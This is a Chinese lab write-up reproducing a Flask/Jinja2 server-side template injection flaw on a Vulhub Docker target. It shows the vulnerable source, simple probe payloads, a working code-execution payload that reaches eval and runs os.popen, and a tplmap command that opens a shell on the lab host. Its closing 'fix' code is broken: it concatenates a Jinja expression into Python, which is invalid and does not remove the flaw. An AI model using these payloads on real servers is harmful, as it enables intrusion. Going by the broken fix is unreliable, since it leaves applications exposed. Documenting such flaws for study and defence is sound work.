#Flask服务端模板(Jinja2)注入漏洞(SSTI)复现#
一、漏洞简介服务器模板注入(SSTI)是一种利用公共 Web框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点。SSTI攻击可以利用拼接恶意用户输入导致各种漏洞。通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式。
二、漏洞影响影响版本
使用Flask框架开发并且使用Jinja2模板引擎,最重要的是模板内容可控。满足该条件的Flask模块中几乎都存在注入漏洞。
三、产生原因from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/") def index(): name = request.args.get('name', 'guest') t = Template("Hello " + name) return t.render() if __name__ == "__main__": app.run()
根据上述源码,漏洞主要出在:“t = Template(“Hell” + name)”,由于使用拼接后直接进行渲染,导致命令注入。
四、复现过程docker 靶机:192.168.111.137
docker搭建靶场环境
docker-compose up -d
查询端口
docker ps
搭建成功
查看源码
cd /src ls cat app.py
可以看到核心语句为
t = Template("hello " + name)
此处,函数利用get获取参数进入template,形成任意构造注入。
POC1:
http://192.168.111.137:8000/?name={{2*2}}
POC2:
http://192.168.111.137:8000/?name={{%27Mike%27.upper()}}
官方POC:
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
大佬getshell EXP:
python2 ./tplmap.py -u "http://192.168.111.137:8000/?name=aaa" --os-shell
链接在最后
五、修复方案修改代码后可以避免注入:
from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/s1mpL3") def index(): name = request.args.get('name', 'guest') t = Template("Hello " + {{defense}}) return t.render(defense=name) if __name__ == "__main__": app.run()六、参考链接
Flask - SSTI - VulHub
Flask服务端模板(Jinja2)注入漏洞(SSTI)复现
flask ssti 一键注入EXP
标签Flask、Jinja2、SSTI
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)